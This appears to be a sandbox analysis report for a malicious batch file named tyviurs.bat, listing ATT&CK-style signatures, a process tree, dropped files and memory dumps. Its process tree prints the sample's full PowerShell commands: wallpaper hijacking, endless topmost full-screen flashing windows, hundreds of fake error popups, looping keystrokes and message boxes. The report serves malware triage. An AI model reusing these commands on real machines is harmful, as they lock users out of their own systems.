Overview

overview

8

Static

static

1

tyviurs.bat

windows11-ltsc_2024-x64

8

Analysis

  • user interaction
    yes
  • max time kernel
    899s
  • max time network
    839s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/09/2026, 04:36

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    tyviurs.bat
  • Size 6KB
  • Sample260924-e8bm8ayxa1
  • SHA256 57af9c8a448c8d6e016ef7bc12d756a4013ae8a1ca3150a8a13d22ed84f00637
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwaredefense_evasionexecutionpersistenceransomwarespyware

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 62 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tyviurs.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:708
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-Type -AssemblyName PresentationFramework; if([System.Windows.MessageBox]::Show('Do you want to run?','Error 404','OKCancel','Warning') -ne 'OK'){exit}"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4152
    • C:\Windows\system32\timeout.exe
      timeout /t 10 /nobreak
      2⤵
      • Delays execution with timeout.exe
      PID:4488
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class W{[DllImport(\"user32.dll\",CharSet=CharSet.Auto)]public static extern int SystemParametersInfo(int u,int s,string p,int f);}'; [W]::SystemParametersInfo(20, 0, 'C:\Users\Admin\AppData\Local\Temp\taylor.jpg', 3)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Sets desktop wallpaper using registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1000
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1l3u3azt\1l3u3azt.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2024
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9665.tmp" "c:\Users\Admin\AppData\Local\Temp\1l3u3azt\CSCD114156522BB49C8B524B602852B6E.TMP"
          4⤵
            PID:2456
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\taylor.jpg" /f
        2⤵
        • Sets desktop wallpaper using registry
        PID:5412
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
        2⤵
          PID:5668
        • C:\Windows\system32\rundll32.exe
          RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True
          2⤵
            PID:4668
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class W{[DllImport(\"user32.dll\")]public static extern bool SetForegroundWindow(IntPtr h);public static extern bool SetWindowPos(IntPtr h,int a,int x,int y,int w,int ht,uint f);}'; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.TopMost=$true; $f.ShowInTaskbar=$false; $f.Bounds=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $c=New-Object System.Windows.Forms.Timer; $c.Interval=120; $r=New-Object Random; $c.Add_Tick({$f.BackColor=[System.Drawing.Color]::FromArgb($r.Next(2)*255,$r.Next(2)*255,$r.Next(2)*255)}); $c.Start(); [W]::SetForegroundWindow($f.Handle); $f.Show(); while($true){[W]::SetWindowPos($f.Handle,-1,0,0,$f.Width,$f.Height,0x0040); Start-Sleep -Milliseconds 50}"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2640
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\eirpnpiv\eirpnpiv.cmdline"
              3⤵
                PID:4300
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class W{[DllImport(\"user32.dll\")]public static extern bool SetWindowPos(IntPtr h,int a,int x,int y,int w,int ht,uint f);}'; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.TopMost=$true; $f.ShowInTaskbar=$false; $f.Bounds=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $f.TransparencyKey=[System.Drawing.Color]::Fuchsia; $f.BackColor=[System.Drawing.Color]::Fuchsia; $f.Add_Paint({ $g=$_.Graphics; $r=New-Object Random; $hue=$r.Next(360); $sw=$f.Width; $sh=$f.Height; for($i=0;$i -lt 300;$i++){ $col=[System.Drawing.Color]::FromArgb(180,([int](255*([math]::Abs([math]::Sin(($hue+$i)60)*3.14159/180)))56,([int](255*([math]::Sin((($hue+$i)*2)60)*3.14159/180)))56,([int](255*([math]::Cos((($hue+$i)*3)60)*3.14159/180)))56); $pen=New-Object System.Drawing.Pen($col,2); $g.DrawLine($pen,$r.Next($sw),$r.Next($sh),$r.Next($sw),$r.Next($sh)) }}); $t=New-Object System.Windows.Forms.Timer; $t.Interval=100; $t.Add_Tick({$f.Invalidate()}); $t.Start(); $f.Show(); $f.Activate(); while($true){[W]::SetWindowPos($f.Handle,-1,0,0,$f.Width,$f.Height,0x0040); Start-Sleep -Milliseconds 60}"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1916
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $r=New-Object Random; $sw=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $sh=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; for($i=0;$i -lt 300;$i++){ $f=New-Object System.Windows.Forms.Form; $f.StartPosition='Manual'; $f.TopMost=$true; $f.Text='ERROR 404'; $f.Size=New-Object System.Drawing.Size(320,120); $f.Location=New-Object System.Drawing.Point($r.Next($sw-320),$r.Next($sh-120)); $l=New-Object System.Windows.Forms.Label; $l.Text='Error 404: PAGE NOT FOUND'; $l.Dock='Fill'; $l.BackColor=[System.Drawing.Color]::Black; $l.ForeColor=[System.Drawing.Color]::Red; $l.TextAlign='MiddleCenter'; $f.Controls.Add($l); $f.Show(); Start-Sleep -Milliseconds 120 }"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4160
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; while($true){[System.Windows.Forms.SendKeys]::SendWait('{ENTER}'); Start-Sleep -Milliseconds 150}"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5760
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" start "" /min powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework; $r=New-Object Random; $msgs=@('Error 404: PAGE NOT FOUND','Taylor has taken over','SYSTEM FAILURE','Access Denied','BAD BLOOD','You cannot escape','404 404 404'); while($true){[System.Windows.MessageBox]::Show($msgs[$r.Next($msgs.Count)],'ERROR 404','OK','Error')"
              2⤵
                PID:3108
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k GPSvcGroup
              1⤵
                PID:3400
              • C:\Windows\system32\sihost.exe
                sihost.exe
                1⤵
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of WriteProcessMemory
                PID:5060
                • C:\Windows\explorer.exe
                  explorer.exe /LOADSAVEDWINDOWS
                  2⤵
                  • Boot or Logon Autostart Execution: Active Setup
                  • Enumerates connected drives
                  • Checks SCSI registry key(s)
                  • Modifies Internet Explorer settings
                  • Modifies registry class
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  • Suspicious use of SetWindowsHookEx
                  PID:4044
              • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                1⤵
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:4252
              • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                1⤵
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:5776
              • C:\Windows\System32\SecurityHealthHost.exe
                \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
                1⤵
                  PID:3152

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      ModuleAnalysisCache
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                      • Size 67KB
                      • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 550cc113b543432b3447d768177cf41c985158fa3c6a84ae8d2991e3f3ad0266
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 032a30d5e80b2e7df76b9efc77c80afbf0311d1f7ad9be2343c900ec6ded241d
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 575c8b8011cfc540a516c5dc0c230bfe7c080b05e2109a55d8efdf60554775e4
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      prep_Activatable Class_Hermes_perf.cache
                      • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                      • Size 607B
                      • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      1l3u3azt.dll
                      • Path C:\Users\Admin\AppData\Local\Temp\1l3u3azt\1l3u3azt.dll
                      • Size 3KB
                      • SHA256 56f2dfbe65d73dd1d60f89b7a4c3a5bf3a65fac8e84b7bb38c5f16ffe75e2b52
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      RES9665.tmp
                      • Path C:\Users\Admin\AppData\Local\Temp\RES9665.tmp
                      • Size 1KB
                      • SHA256 88386b6bf509bf747b0d4603cf1308da6c2f2e21238477887ac8b8da89197763
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      __PSScriptPolicyTest_lfbrpvyn.d0a.ps1
                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lfbrpvyn.d0a.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      590aee7bdd69b59b.customDestinations-ms
                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                      • Size 6KB
                      • SHA256 0188080a6e2cbd9d0b63b51174346c4e5636bc6fd41e0c92b434006b7fc37c93
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      590aee7bdd69b59b.customDestinations-ms
                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                      • Size 6KB
                      • SHA256 dc95572d8a9f3d8c461266b2745f0c2a262a64e8674c6fa992d35d45b1055945
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      590aee7bdd69b59b.customDestinations-ms
                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                      • Size 6KB
                      • SHA256 1de5af2c94339f2c65c08a61253c16bba62473329cf6e7cc7bac0e3f59ecb5aa
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      1l3u3azt.0.cs
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\1l3u3azt\1l3u3azt.0.cs
                      • Size 189B
                      • SHA256 8be5cd28c908eda183e4a865dfe8deec39c800a686b4fa79fbe56c3d0e37333f
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      1l3u3azt.cmdline
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\1l3u3azt\1l3u3azt.cmdline
                      • Size 369B
                      • SHA256 0a0c125674dbfd717d89f02b5f4c8185acc16aefad8b3dda382aebe04e1f0b7f
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      CSCD114156522BB49C8B524B602852B6E.TMP
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\1l3u3azt\CSCD114156522BB49C8B524B602852B6E.TMP
                      • Size 652B
                      • SHA256 8d18a8969122d99c6dce1f7667873ef3d3b6d91db2bf2081bdbe6d94f0c155d0
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      eirpnpiv.0.cs
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\eirpnpiv\eirpnpiv.0.cs
                      • Size 237B
                      • SHA256 e49545e7865b2d14e275ebe146b278e82fa68f4ba475162b42ce80acc1e44758
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      eirpnpiv.cmdline
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\eirpnpiv\eirpnpiv.cmdline
                      • Size 369B
                      • SHA256 21dc9284b1695d83e8a797fbe3d3282f780cd066ff721d81ce97f0d76b381fb2
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      memory/1000-39-0x0000026BA9250000-0x0000026BA9258000-memory.dmp
                      Download

                      memory/1000-18-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/1000-19-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/1000-22-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/1000-23-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/1000-25-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/1000-42-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/1000-40-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/4152-13-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/4152-17-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/4152-0-0x00007FF83E70F000-0x00007FF83E710000-memory.dmp
                      Download

                      memory/4152-10-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/4152-15-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/4152-9-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/4152-8-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/4152-7-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/4152-6-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/4152-5-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/4152-14-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/4152-11-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/4152-3-0x0000019C7F670000-0x0000019C7F692000-memory.dmp
                      Download

                      memory/4152-4-0x00007FF83E580000-0x00007FF83EF24000-memory.dmp
                      Download

                      memory/4252-115-0x0000027881C60000-0x0000027881C80000-memory.dmp
                      Download

                      memory/4252-101-0x0000027881E60000-0x0000027881F60000-memory.dmp
                      Download

                      memory/4252-99-0x0000027881A40000-0x0000027881A60000-memory.dmp
                      Download

                      memory/4252-87-0x00000278801E0000-0x00000278802E0000-memory.dmp
                      Download

                      memory/4252-85-0x00000278801E0000-0x00000278802E0000-memory.dmp
                      Download

                      memory/4252-131-0x00000278946E0000-0x0000027894700000-memory.dmp
                      Download

                      memory/4252-86-0x00000278801E0000-0x00000278802E0000-memory.dmp
                      Download